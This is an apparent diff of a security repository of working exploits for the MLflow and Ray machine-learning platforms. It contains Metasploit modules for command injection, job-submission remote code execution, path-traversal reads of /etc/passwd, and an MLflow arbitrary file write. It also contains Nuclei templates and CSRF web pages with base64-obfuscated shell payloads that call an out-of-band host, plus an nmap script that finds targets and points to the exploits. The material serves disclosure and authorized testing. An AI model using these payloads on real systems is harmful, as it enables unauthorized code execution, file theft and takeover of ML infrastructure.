return ''.join(random.choice(string.ascii_letters) for _ in range(6))
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
if not args['localfilepath'] and not args['filecontents']:
logging.error('localfilepath or filecontents options must be specified')
return
model_name = random_model_name_generator()
server_ip = socket.gethostbyname(socket.gethostname())
server_port = args['serverport']
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
logging.info(f"Creating model '{model_name}'")
r = requests.post(f"{base_url}/ajax-api/2.0/mlflow/registered-models/create", json={"name": model_name})
logging.debug(r.text)
logging.info(f"Associating remote artifact source with model '{model_name}'")
r = requests.post(
f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
json={"name": model_name, "source": f"http://{server_ip}:{server_port}/api/2.0/mlflow-artifacts/artifacts/"}
)
logging.debug(r.text)
r = requests.post(
f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
json={"name": model_name, "source": f"models:/{model_name}/1"}
)
logging.debug(r.text)
MLFlowExploitRequestHandler.MSF_ARGS = args
server = HTTPServer(
(server_ip, server_port),
MLFlowExploitRequestHandler
)
logging.info(f"Starting HTTP Server on {server_ip}:{server_port}")
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
logging.info("Triggering artifact download")
r = requests.get(
f"{base_url}/model-versions/get-artifact",
params={"path": "random", "name": model_name, "version": 2}
)
logging.debug(r.text)
if r.status_code == 500:
logging.info(f"Exploit might have succeeded. Status: {r.status_code}")
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,50 @@
id: mlfdlow-arbitrary-file-write
info:
name: Mlflow Arbitrary File Write via model-versions API endpoint
author: kevin_mizu (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: critical
description: An attacker can overwrite arbitrary files in MLFlow via it's model-versions API
reference:
- https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
classification:
cvss-score: 10
cve-id: CVE-2023-6018
cwe-id: CWE-29
tags: mlflow,ml,cve,huntr,protectai
variables:
model_name: "{{rand_text_alpha(6)}}"
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{model_name}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}
- |
GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms http Interaction
words:
- "http"

View File

@ -0,0 +1,47 @@
id: mlflow-model-versions-lfi
info:
name: MLFlow LFI via model-versions API endpoint
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: high
description: MLFlow is vulnerable to a LFI via it's model-versions API endpoint
reference:
- https://huntr.com/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
classification:
cvss-score: 9.3
cve-id: CVE-2023-1177
cwe-id: CWE-29
tags: mlflow,ml,cve,protectai,huntr
variables:
experiment_name: "{{rand_text_alpha(6)}}"
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{experiment_name}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{experiment_name}}", "source": "file:///etc"}
- |
GET /model-versions/get-artifact?path=passwd&name={{experiment_name}}&version=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200

70
nmap-nse/README.md Normal file
View File

@ -0,0 +1,70 @@
# AI Services Detection Nmap Script
## Overview
This Nmap script is designed to detect various Artificial Intelligence (AI) services running on web servers. It performs HTTP requests to the root directory and specific endpoints, identifying services by looking for unique strings in the responses.
## Features
- Scans common web service ports as well as custom AI service ports.
- Provides links to a repository for potential exploits for identified services.
- Identifies the following AI services:
- MLflow
- Ray Dashboard
- H2O Flow
- Kubeflow
- ZenML
- Triton Inference Server
- Kedro
- BentoML
- TensorBoard
- ZenML
- MLRun
- MLServer
- Weights & Biases
- Aim
- Neptune
- Prefect
## Usage
Place the script in the `scripts` directory of your Nmap installation. Then, run Nmap with the `--script` option, specifying the name of this script.
```bash
nmap --script ai-tools.nse -p80,443,4141,4200,5000,5001,8000,8001,8080,8081,8237,8265,8888,43800,54321,54322 <target>
```
Replace `<target>` with the IP address or hostname of the system you wish to scan.
## Output
The script will output a message for each detected AI service, including a URL to check for known exploits.
Example output for a detected service:
```
PORT STATE SERVICE REASON
8080/tcp open http syn-ack
| ai-services-detection:
| MLflow service found!
|_ Check https://github.com/ProtectAI/AI-exploits for exploits.
```
## Script Requirements
- Nmap: 7.80 or higher
- Lua libraries: `http`, `shortport`, `stdnse`
## Author
@DanMcInerney
## License
This script is released under the same license as Nmap. For more information, see [Nmap's legal documentation](https://nmap.org/book/man-legal.html).
## Categories
- `safe`
- `discovery`
```

86
nmap-nse/ai-tools.nse Normal file
View File

@ -0,0 +1,86 @@
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
description = [[
Performs an HTTP request to the root directory ("/") and "/v2/logging" on specified ports, checks the responses for specific strings, and identifies services based on these strings.
]]
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "discovery"}
portrule = shortport.port_or_service({4141, 4200, 5000, 5001, 8265, 8237, 54321, 54322, 43800, 80, 443, 8080, 8000, 8888, 8001, 8081}, {"http", "http-alt", "https", "https-alt"})
action = function(host, port)
local results = {}
local aiServiceFound = false
-- Check root directory
local response = http.get(host, port, "/")
if response then
if response.status and (response.status == 200 or response.status == 301 or response.status == 302) then
if response.body then
if response.body:find("<title>MLflow") then
table.insert(results, "MLflow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
aiServiceFound = true
elseif response.body:find("<title>Ray Dashboard") then
table.insert(results, "Ray Dashboard service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
aiServiceFound = true
elseif response.body:find("<title>H2O Flow") then
table.insert(results, "H2O Flow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
aiServiceFound = true
elseif response.body:find("<title>Kubeflow") then
table.insert(results, "Kubeflow service found!\nCheck https://github.com/ProtectAI/AI-exploits for exploits.")
aiServiceFound = true
elseif response.body:find("<title>TensorBoard") then
table.insert(results, "TensorBoard service found!")
aiServiceFound = true
elseif response.body:find("<title>ZenML") then
table.insert(results, "ZenML service found!")
aiServiceFound = true
elseif response.body:find("<title>MLRun") then
table.insert(results, "MLRun service found!")
aiServiceFound = true
elseif response.body:find("<title>MLServer") then
table.insert(results, "MLServer service found!")
aiServiceFound = true
elseif response.body:find("<title>Weights ") then
table.insert(results, "Weights & Biases service found!")
aiServiceFound = true
elseif response.body:find("<title>Aim</title>") then
table.insert(results, "Aim service found!")
aiServiceFound = true
elseif response.body:find("<title>Neptune") then
table.insert(results, "Neptune service found!")
aiServiceFound = true
elseif response.body:find("<title>Prefect") then
table.insert(results, "Prefect service found!")
aiServiceFound = true
elseif response.body:find("<title>Kedro") then
table.insert(results, "Kedro service found!")
aiServiceFound = true
elseif response.body:find("<title>Bento") then
table.insert(results, "BentoML service found!")
aiServiceFound = true
end
end
end
end
-- Check /v2/logging if no other AI service was found
if not aiServiceFound then
local log_response = http.get(host, port, "/v2/logging")
if log_response and log_response.status and (log_response.status == 200) and log_response.body and log_response.body:find('"log_file":') then
table.insert(results, "Triton Inference Server service found!")
end
end
if #results > 0 then
return stdnse.format_output(true, results)
else
return nil
end
end

64
ray/README.md Normal file
View File

@ -0,0 +1,64 @@
# Ray Vulnerabilities and Exploits
## Overview
Ray is an open-source framework that allows for distributed training of machine learning models. Ray is designed to scale transparently from running on a single machine to large clusters and includes a web interface for ease of use. By default, Ray lacks authentication.
## Vulnerabilities
### CSRF (Cross-Site Request Forgery)
- **Description**: Ray's web interface may not implement proper CSRF protections, which could allow attackers to craft malicious web pages that, when visited by a logged-in user, could perform unauthorized actions on the web interface.
- **Impact**: An attacker could leverage CSRF vulnerabilities to execute commands, control jobs, or alter the state of the Ray cluster without the user's consent.
### RCE (Remote Code Execution)
- **Description**: Certain endpoints or features within Ray may be susceptible to RCE, allowing an attacker to execute arbitrary code on the cluster's nodes.
- **Impact**: If exploited, this could grant an attacker full control over the Ray cluster, potentially leading to data leakage, service disruption, or further exploitation of internal network resources.
### LFI (Local File Inclusion)
- **Description**: The Ray framework may include functions that improperly handle file paths, allowing attackers to include files located elsewhere on the server.
- **Impact**: This vulnerability can lead to the disclosure of sensitive information if system files or other files with sensitive data are read.
### SSRF (Server-Side Request Forgery)
- **Description**: Ray may be vulnerable to SSRF attacks where an attacker could abuse the functionality of the server to read or update internal resources.
- **Impact**: Attackers may leverage SSRF to send requests to internal systems behind the firewall which are not accessible from the external network.
## Utilities
### Metasploit Modules
- **ray_cpuprofile_cmd_injection**: Exploits command injection vulnerabilities within Ray's CPU profiling endpoints.
- **ray_job_rce**: Targets Remote Code Execution vulnerabilities in Ray's job submission features.
- **ray_lfi_static_file**: Utilizes Local File Inclusion vulnerabilities to read static files from the Ray server.
### CSRF Templates
- **ray-cmd-injection-csrf.html**: Demonstrates CSRF vulnerabilities that can lead to command injection in Ray.
- **ray-job-rce-csrf.html**: Shows how CSRF can be used to achieve Remote Code Execution by submitting a job in Ray.
### Nuclei Templates
- **ray-cpuprofile-cmd-injection**: Identifies command injection flaws in Ray's CPU profiling features.
- **ray-job-rce**: Scans for Remote Code Execution vulnerabilities within Ray's job management system.
- **ray-log-lfi**: Identifies Local File Inclusion vulnerabilities via log files in Ray.
- **ray-static-lfi**: Detects Local File Inclusion vulnerabilities within static file serving in Ray.
## Reports
- **Sierra Haex & @DanMcInerney**: https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/
- **@DanMcInerney**: https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
- **@DanMcInerney**: https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
## Disclaimer
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
## Contribution
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
## License
All exploits and templates in this repository are released under the Apache 2.0 License.

View File

@ -0,0 +1,22 @@
<html>
<!-- Ray cpu_profile cmd injection CSRF PoC -->
<body>
<script>
fetch("http://127.0.0.1:8265/nodes?view=summary", {
"headers": {
"accept": "application/json, text/plain, */*",
},
"method": "GET",
"mode": "cors",
}).then(x => x.json())
fetch("http://127.0.0.1:8265/worker/cpu_profile?pid={{pid}}&ip={{node_ip}}&duration=5&native=0&format=%60echo%20cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldDtzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgiY2t0YmVlNm5yMmt0Y3Y2c2ZkMjBxdDZjNGQ1bXh1cHdhLm9hc3QuZnVuIikn|base64$IFS-d|sh%60", {
"headers": {
"accept": "application/json, text/plain, */*",
},
"method": "GET",
"mode": "no-cors",
}).then(x => x.json())
</script>
</body>
</html>

View File

@ -0,0 +1,16 @@
<html>
<!-- Ray Agent RCE CSRF PoC -->
<body>
<script>
fetch("http://127.0.0.1:8265/api/jobs/", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
},
"body": "{\"entrypoint\": \"echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldDtzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgiY2t0YmVlNm5yMmt0Y3Y2c2ZkMjBxdDZjNGQ1bXh1cHdhLm9hc3QuZnVuIikn|base64$IFS-d|sh\"}",
"method": "POST",
"mode": "no-cors",
}).then(x => x.text())
</script>
</body>
</html>

View File

@ -0,0 +1,129 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'Ray cpu_profile command injection',
'description': '''
Ray RCE via cpu_profile command injection vulnerability.
The advanced option MeterpreterTryToFork needs to be set to true for this to work.
''',
'authors': [
'sierrabearchell',
'byt3bl33d3r <marcello@protectai.com>'
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'},
{'type': 'cve', 'ref': 'CVE-2023-6019'}
],
'type': 'remote_exploit_cmd_stager',
'targets': [
{'platform': 'linux', 'arch': 'x64' },
{'platform': 'linux', 'arch': 'x86'},
{'platform': 'linux', 'arch': 'aarch64'} #'default_options': { 'MeterpreterTryToFork': True} } ??
],
'payload': {
'command_stager_flavor': 'wget',
},
'options': {
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': "echo 'Hello from Metasploit'"},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
s = Session()
try:
# We need to pass valid node info to /worker/cpu_profile for the server to process the request
# First we list all nodes and grab the pid and ip of the first one (could be any)
r = s.get(f"{base_url}/nodes?view=summary")
r.raise_for_status()
nodes = r.json()
first_node = nodes['data']['summary'][0]
pid = first_node['agent']['pid']
ip = first_node['ip']
logging.info(f"Grabbed node info, pid: {pid}, ip: {ip}")
r = s.get(
f"{base_url}/worker/cpu_profile",
params={
'pid': pid,
'ip': ip,
'duration': 5,
'native': 0,
'format': f"`{args['command']}`"
}
)
except requests.exceptions.HTTPError as e:
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
logging.debug(r.text)
logging.error(str(e))
return
logging.info(f"Command execution seems to have been successful. Status code: {r.status_code}")
logging.debug(r.text)
if __name__ == '__main__':
module.run(metadata, run)

110
ray/msfmodules/ray_job_rce.py Executable file
View File

@ -0,0 +1,110 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
from metasploit import module
# extra modules
dependencies_missing = False
try:
import requests
from requests import Session
except ImportError:
dependencies_missing = True
metadata = {
'name': 'Ray Agent Job RCE',
'description': '''
RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray's main purpose is executing arbitrary workloads.
By default Ray has no authentication.
''',
'authors': [
'sierrabearchell',
'byt3bl33d3r <marcello@protectai.com>'
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'},
{'type': 'url', 'ref': 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/'}
],
'type': 'remote_exploit_cmd_stager',
'targets': [
{'platform': 'linux', 'arch': 'x64'},
{'platform': 'linux', 'arch': 'x86'},
{'platform': 'linux', 'arch': 'aarch64'}
],
'payload': {
'command_stager_flavor': 'wget'
},
'options': {
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
try:
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
s = Session()
try:
r = s.post(f"{base_url}/api/jobs/", json={"entrypoint": args["command"]})
r.raise_for_status()
except requests.exceptions.HTTPError:
r = s.post(f"{base_url}/api/job_agent/jobs/", json={"entrypoint": args["command"]})
r.raise_for_status()
except requests.exceptions.HTTPError as e:
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
logging.error(str(e))
return
job_data = r.json()
logging.info(f"Command execution successful. Job ID: '{job_data['job_id']}' Submission ID: '{job_data['submission_id']}'")
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,100 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
# standard modules
import logging
# extra modules
dependencies_missing = False
try:
import requests
from requests import Request, Session
except ImportError:
dependencies_missing = True
from metasploit import module
metadata = {
'name': 'Ray static arbitrary file read',
'description': '''
Ray before 2.6.1 is vulnerable to a local file inclusion.
''',
'authors': [
'byt3bl33d3r <marcello@protectai.com>',
'danmcinerney <dan@protectai.com>'
],
'rank': 'excellent',
'date': '2023-11-15',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'},
{'type': 'cve', 'ref': 'CVE-2023-6020'}
],
'type': 'single_scanner',
'options': {
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
}
}
def convert_args_to_correct_type(args):
'''
Utility function to correctly "cast" the modules options to their correct types according to the options.
When a module is run using msfconsole, the module args are all passed as strings
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
'''
corrected_args = {}
for k,v in args.items():
option_to_convert = metadata['options'].get(k)
if option_to_convert:
type_to_convert = metadata['options'][k]['type']
if type_to_convert == 'bool':
if isinstance(v, str):
if v.lower() == 'false':
corrected_args[k] = False
elif v.lower() == 'true':
corrected_args[k] = True
if type_to_convert == 'port':
corrected_args[k] = int(v)
return {**args, **corrected_args}
def run(args):
args = convert_args_to_correct_type(args)
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
logging.debug(args)
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
try:
url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}/static/js/../../../../../../../../../../../../../..{args['filepath']}"
logging.debug(url)
# We need to use a prepared request otherwise the requests library will try normalizing the URL
s = Session()
req = Request('GET', url)
prepped = s.prepare_request(req)
prepped.url = url
resp = s.send(prepped)
logging.debug(f"{resp.status_code} - {len(resp.text)}")
except requests.exceptions.RequestException as e:
logging.error(str(e))
return
logging.info(resp.text)
if __name__ == '__main__':
module.run(metadata, run)

View File

@ -0,0 +1,44 @@
id: ray-cpuprofile-cmd-injection
info:
name: Ray cpu_profile command injection
author: Sierra Bearchell (Vuln Discovery) byt3bl33d3r (Nuclei Template)
severity: critical
description: Ray command injection via the cpu_profile API endpoint allowing os command execution on the Ray dashboard host
reference:
- https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/
classification:
cvss-score: 10
cve-id: CVE-2023-6019
cwe-id: CWE-78
tags: ray,ml,cve,huntr,protectai
variables:
python_payload: "python3 -c 'import socket;socket.gethostbyname(\"{{interactsh-url}}\")'"
http:
- method: GET
path:
- "{{BaseURL}}/nodes?view=summary"
- "{{BaseURL}}/worker/cpu_profile?pid={{pid}}&ip={{node_ip}}&duration=5&native=0&format=%60echo%20{{base64(python_payload)}}|base64$IFS-d|sh%60"
matchers:
- type: word
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
extractors:
- type: json
part: body
internal: true
name: pid
json:
- '..|objects|.pid//empty[0]'
- type: json
part: body
internal: true
name: node_ip
json:
- '..|objects|.ip//empty[0]'

View File

@ -0,0 +1,48 @@
id: ray-job-rce
info:
name: Ray RCE via Agent Jobs
author: Sierra Bearchell (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: critical
description: RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray's main purpose is executing arbitrary workloads. By default Ray has no authentication.
reference:
- https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/
- https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/
tags: ray,ml,huntr,protectai
variables:
python_payload: "python3 -c 'import socket;socket.gethostbyname(\"{{interactsh-url}}\")'"
http:
- raw:
# Newer versions of the Ray API
- |
POST /api/jobs/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"entrypoint": "echo {{base64(python_payload)}}|base64$IFS-d|sh"}
# Older versions of the Ray API
- |
POST /api/job_agent/jobs/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"entrypoint": "echo {{base64(python_payload)}}|base64$IFS-d|sh"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms dns Interaction
words:
- "dns"
- type: status
status:
- 200
- type: word
part: body
words:
- "job_id"

View File

@ -0,0 +1,39 @@
id: ray-log-lfi
info:
name: Ray Log API file local file inclusion
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: high
description: Ray is vulnerable to a local file include via it's logs API endpoint
reference:
- https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
classification:
cvss-score: 8.6
cve-id: CVE-2023-6021
cwe-id: CWE-29
tags: ray,ml,cve,huntr,protectai
http:
- method: GET
path:
- "{{BaseURL}}/nodes?view=summary"
- "{{BaseURL}}/api/v0/logs/file?node_id={{nodeId}}&filename=../../../../../etc%2fpasswd&lines=50000"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
extractors:
- type: json
part: body
internal: true
name: nodeId
json:
- '..|objects|.nodeId//empty[0]'

View File

@ -0,0 +1,30 @@
id: ray-static-lfi
info:
name: Ray Static File Local File Inclusion
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
severity: high
description: Ray is vulnerable to a LFI when accessing static files
reference:
- https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
classification:
cvss-score: 8.6
cve-id: CVE-2023-6020
cwe-id: CWE-29
tags: ray,ml,cve,huntr,protectai
http:
- method: GET
path:
- "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200